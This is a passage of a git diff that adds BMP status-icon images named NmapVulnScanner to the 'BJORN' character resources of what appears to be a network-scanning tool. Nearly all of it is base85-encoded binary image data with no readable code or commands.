zmtY$lY!Pr#*G=dEr;C!chn9=@Q9i_1bcnC%!0pI?(92TuNE~L;5V&yZ5>z|7)wc!N z8aw$px|3MbNeK}(zxb4@L18QR>!2827CSnYWb+AHhY%Bq8oxv`3Yjg~p`8wTW8 z$3f3SeZ_J{-ZH{AP@7v`nMIOd9zZnn$D8^Q%=`j@M=kLLVirE42p?964+FR*ME{!v zGk>Ca0H}jE^$oPZ1{iruQKL+Rv?FYTEX4G9|4t9$8UEi#1rM@28`x`#D&x<2|HUy( zeq6L~Fx$R^@V^}w*w4=Q4Kw_oj5bmx!In6Jsjs`bBM4o<0WuMQzyTmre}eaQd}J{` ztbh<+2m}{e0KAL$xD4vxO#N`6rm-*R&=+;w&ucn^MhdpX8VPD~|D6{3Eeq;f7T*7N zjQzi;vah87J6Io--GlFE5Ie$aFJ}(_mO&4t9&CZf8~fl*fXP^*i67oN2!N?bHNx%hWYWKmzs_KD>w+Rsdv&72uLw>wOJx6O0Qhz(tkfuxWU+0D`d}-q;^+;vZy=bJuVJ zQBAZ6FcZ_2=M%53ORDJQb=7h zG@lf-{x`u6F`NWSmXCfVyS4xyoJR;q!$lO4q8bFbXA;ramtcm&dM4w|uy|v?GfLJt zQg~yf==kFTBfu1SZ@7ESO&yJG64VF}O&8GgAY4gN2Yl(ChzrXnTHuJz(fA0EfC})T z}4&KxW> z_Bcu211q^%BYgugbb`U=c!D_=ZxsYupJ+)W2W@enV-&$JmF(0{aSKT3Wch^b6UtCP zNj?O_k!LdT?4^L{Vl4J10L7X37v105i{ylGLX8vF0*Nyd!^|f_f5hai$Lo5h5 zn_w(9jbM($yC+~l97Yre`ljN8b4hszxHEJI5$uDIE+S=Mk^nLgv}F0osT9^CFf;}F zrC}qA0X^YNB+e=j3xeDNA8J8R=fIpZw%Od=1UBrJc$a=%n4Q09?`kTqE&4r|vyyEP zXmrO2TvTzOa}3BnpwE%U6A-r~A(2tS^~Yc)(Sr&gNl}D^`!mpw^yJ6~)e5nZ#e|F3 ziEatl$O1qN!q`&6K!O@>B&`wQ8wgr`SGc=mof@A!A%GF1;t`?Zc2zqQ1mem$8W&wc zz-Lf=NeC|@gpnyJtR!4;ScnTLz>)G4d1NK?0bBrz1^EaFI0NcX+)OUXjX{b4FulSD zX5j!Um{XeLZ7^mc2e}2lgIQ}Dt}N~DXU{HK=ikqn$ZJ|l8+mG-^U`(;H1Wruy#)M< ziy%7;geWO)e_|zs7YE0bhs0I@35>lw1jm(weL_S@P;7Z{Ohs^PdElix zq{-9{E@&b0A=$eH*zkP3T?okV=TEr!ow}fpRC70X*xKCs-}Ec!B`yY52K?&b)A0y1YinUlP8)ms2j}8KaviJ#oa_UE=X`MK zW~baW&_=4lCvD992vN5I*-ueT%HgD*jg0^$i4|mHFnEVq2dc87Lp-p%0tJ~3yH0YO1dY_CaEW+ zWyG(cL@$hC5|v^Q)#CS1gFB&_M5Gynl^I1%L{4hJ6;$}uV^baj4a7?%CE=HALK3R* zQMdg=3jG0bWD(vmf;2@j_5;6tG1UC&3D-!hyBTVC!%ET(K^1u=7#d`dSpX4?tj7L? zi`TH>MPZ4RNjD$H#^wj(l8JutVS(48VoM?}6*`%Fh*0y|TLy#$qy^fAxEp%vpiXG> zyJ(^8^@KFN%zOjwLn4S-MkgF3nFQSI1ELddM?~d^;FF0yaiN53aS272Z$1JM9uQtg zbc-h%`UhIz0t~${45;R3FDdqXdAS=_uqM!2-*hcBPUr~xd3DE7#|YxNczj^?<@6sS zL$6zFn42jZp4PFkH*vPswKi5T&=OU<6n7&yBuNIY9Flkshr1ONoEsWldgipRt7Bkj z%tGZn~a0Q+!y!EgR>cH;oxRK@iGbU zFbZ%nAX#X54j*KoInHWo>mTZM!_P3_yn)YYRas9#Uk%`wkL#oukwBWB{w&VF zn3bfJ+)7u%Vg#vqz1`v?u^Bqbr}rOVWTrzRIi+9>B6LR(v`2X9j=^b{esxj-r3#W%}L)T z{37AgOS@wI@x~B$Um-d^O-=g)hnP7zB)B-Fn3)8$w3MQw9m}h*HBW+a3Vl2;7%D4i zXzDwm(fZ#XViA;7eAv<7HNV!i2(`T@N%tbu@^-mcQ%=brFq$ITk7`f8ouK-(qb?F#H^$C7VSxs%) zwR9UzL$EIPqt&|_b13S;6IPd3-K|{y`L|=7+|ul9l00zXo7se!jl2aYXBNtwf^JPg z8SkKs)}|1T^LmP^CX#6V{ogTa8##0>Y&E~#Zkd5vrlF>(t==Ul>}vLb1B`H93>`IG zNmb_Ii}*RHWERSQ3uVo0XUuPBOs!tc%yHE?r6aFmE`XHz=ijOP-F!a>3eGpy)+@jy zItNE9@6>1_WhY<%^j>K9exfO+9#-^)ZU3f+CvV?Po|UuLXQ0-07{h8K_}=ksBe!#wNx@^n9f7 z^?J?tR{86V-1hhJEi;!!)^5DsNO?Vl{DIrK@MTxwZMPPNkf=9u==8 zt@>tpwV|<9l}GYbXU|^!O1W=pYMOxo$-yIc^a#S!-~MG)cRpdHwz@1e*$j6^oN!JI zcR@D42w!q#FfpM2?%fi3MJWVI<>)c4Qx-0-mZ9dUt>%f1-Vabh_MJlq*@c8p968F6 zU7Ygp_Dn`hSIxuJ%dw~MZsH+c=qoYWm6b*5QIjQ^omjjpBNIQ0Ul!cb(9ry^t_7@M z)_7V;&(}R*27>zghm<(P>mJtb)ZC?CDQ#C+ShoKFD=$iwfq}E3_eyu;i^`NHGZ{Ho zBcAGNz325hjgNHvZIB@suROZOTSUocL*v|Md;)HKdt#7Kj8a4~HL$}B4PW@O+K6jD8Oh)qM!IxeFi=YBmg z?m8_U2Ld6(z#w$tg4r^Z3;H_tyo$E)kzgleZan%$tyX87xr-8GOq}5ul<{^WRZmla zl|!7Gme0u8@fWNVCp0~+m*Ey_9UPt5f~IHZ4P?}_ucz(Q+!L#_^Mym-b1|{WXljVO zSxZaKzm~Syj<+Z~6xL8ze=`+B@GZsYD)e@C!AMTy53>dY1RglV&d#lb zLGz3*gib&)H20+++TKLYKq)ENcFYWd0>Y|HjN&qK z#$uwHNR+a$geEJS5F8=R#wuasAop%Nerhuz)Jrib;zIM&+wq>dcH+k!WSOj`8A5#I zUT<8PSWh~siiUAZQ`5ptOdWo~3J#YRKWK|!t|Wmtg9biq^}U%hl-0~j$pn`uEwLxR z=I0k5Jj8?$)MTP(dGgY3WEI~s9MU`92Yxz_Oby#BFq=sn*M=WSj5sm2l{mf~V{IqL z%qoEtkpJcYyS%xlT~vzBghwQYJY>ePrR% z7!+4t=giE&DJZH&3+8P?GW=|Cb_OmM8ZIO=!o$H9q*eh5-DA`|35g2pP~#i~jc;vC zL)!zdTW=nH!70bV3`>l%>uPc7AISjW2V@EAf3t}#dtf0g&CNj1FD9Wu zb(Hh`xpO5~;?c)>)1s5{_8u~fs0aCJPpb;yNNEv_2{(@_8#8M{jLGnj)8xW^uxbV- zcORhM!4B+rKJhPXahA3UfQEDE?zmf zfYRY394JP9IR*iKDmHDD+-U_pLveL^E|H5iE~AsvlUvZx^7fkz=vnL3v!)quH(xh% z+fUb|evg&n(Y}seIZmPTj_14IES8lI_IA+hJsp7Y)DQ7!9Y+3Yi+B-C32Eq+S}OTG)5&e9A6Y0 z8tLOIhL-VG?RhWrW1kIC(J#sW_B{mFzIOC29H3s(#2w zxRDeRS9~+4r?VFXJU|>?hDKJP!4I2vs|KF8Pbk7A3vQ4S)6VvrtQ63xu?aP#(z!i79tz?*J=XKuDv43&~j4B|D0mNAdn%sbfR!E@3 zE70pL=yBu3y&uL>Zx+h)2+d6X>~qxLV+HT1>`$5)sOUBg&K2js%FpU5%;_%5>r0HR zRAm!SaP&%Z!yCe7RX9cEkrLc2C|({>Zf+5AF=cfH%|H*A=Vhq_Pl`J4=QLMk^gbzc z(>BP82<)#f0}|(Po@j0R>S<9+b!J;lcF&{ySG9#{kys0TBY9bMBtjC-EzVBQC(S1# zLW8uI($4S*3NdyJ@sE77xjh8PmPrvyLL|$`8Z@#F0VDJCdg_`dl!c^2FJMU?{bXh0 zH(1HFO44)DFyzy={=4Nv`5B!6G(WSmvTEpM&oo$3igt9ZOuT&A!%KrrBo_B|_Vt;uS; zm)TN%tMSgw=JJA(mX{UDF}Dcb$rsLJPg%y;oKs^J$RH5!#>NL(Ip^lznb?K~7s-fA zBwvn##Jd6Y&#ymen#{@WtgU|+h>t+S5EF04NT{DI&-?}}h>)50r^FPa!Y|h~zspT; zFUamF$mw|6I61hu0fK|*7w&0bJJk5F{b8;-TIr0ecC@9_6<7C?Xks?exAj5ws~7cS zuR3N%d%J5(TB>gKJuALwWPU9GyzcSM4G$z(+lIL~_16`FOTBgF@5Tp*+ZqR2nx7Qs zX5zd`qlobiE-}{Uj8L-Y^^Cfo6m~zY_O>l_|k*&bTj9$6vDz`{ny*oSA$lef$I zGSk~?9!=&KKR_I1DaptqJM|NTAOx*`nCq*r03k}W zwL7P&>w3b-4x?#-QI7ZW=&danY<{@D1_o1TbA6+)p|1RDa$aa~d2(F5^MwFY8)Z(h zv7y0t<9$yn%Fi14-MuqfcDt{lYOtcZzr3=qw4}EnyDK}rJ?mEcqvvnSs_Ib3*#h1D zezB@Xw&HW+D{%ex)|QjDnV$#tNyGcRjLxFG?&g765G|CxGO`SCx6Rc}GGcB}G+ib{ z>q#m%J$T&x;zempWc9W9{P4(${(j2U4|6jE^>>NZ_CXE~*NM1fKTj9!Qwd%dh8n9^ zmlr8@UNtu5hK5&NiM^8;*VoeesI**FP^vV$fO0kLJU+xXqojB+FS8>rvokNNJuj;x zH?tFfmX;1QbiYrzkt=u%cG3Ra;`~R2lpA--UyET%jE|4LkzzvR=GRnIy~)k!c-Arn zrX<5lq`VH&0e}W${f+1=T4Hj`i%US?=Ej<Td1WQT3}kpJz=Dj#U# zU(p+*H5{~!q!vw>n&CErCAZ_QI~QIuqKrd{rP`NQ1X$>qhx#s`lsyZaTzCM06)zP^|WXj(Tz+p7_A_e(1Vd;53N&~JkR zZJ%e2_6^dJ)_VMWs=R7=XmuNaf&iXfTXQkA@^>JA6!>GyZEk?+{x7$-7cF)=rn0<( z?xyyoX_@sEWo|kq4obS&zJZ<9Wp!DZsUH3oQtCKs$A+4!?Bo=CEmI5^|9Pu3!>QjdY(uREWy!3@Hne7uLS;_SJmx1 zAm{HWqyX(4{)s!EXB{0F0$r#0_LJ%#-t^CJ43k;Ih*7Ra);nF~OAOg@5rF9L>=k3+ zDN0R?_Qk0RNllEBrg0y)oq9i>_|yOY8Y_4RunWAEGnYFVjE{U=|F&&pesm22ehmwb zIiqK>vHmL^^mj}n1s(|}mKdrluB?VY7pLcf!(F{V{hder-sR7;f;&@UF6+u`yy%#& zZI}d;2e1~Io>i(Rs`P#ujIev$rru15G4Y%fQCe9d%?tm^?K7+t6Gr=o6gY(oORMWz z-h){-_<>R1-lM=K+EVwk_nNz~m)wb~itoI5TnFy@-|L#cYSM4Ag7GrM%imD(WY73= z)6hI{?VIHlGYz9SYzWEHJth7fEB<0o@Z8^K1?#BySZ3}Roxt!2fjKa^``=>nmo(?E z*7-fZf}6m!=z^uQzLe_pyZ2z}75qx~aq+QG(k9JcJ{d%RRsH{|lV89J?0q*iqaiNq zX?wl7{l{#(U?t6Z+FmrtAcVXfU8mm7 z>Bws4-na!${-^ZXU9f&+>g(*$l9aR7Fg8-r#yWd~G58M-w0~J#?1pv6sOj-3Uwd~g gwEUAA(!0U`lx_E{lrL*R+=Ar%pF&BobKk!I0U^5@%K!iX literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1bed73c6d2b76ba5d3f004f52f6c7a87e721f359 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..35cc8c597be51b9109f5ca07241184c7ef6f568d GIT binary patch literal 18462 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 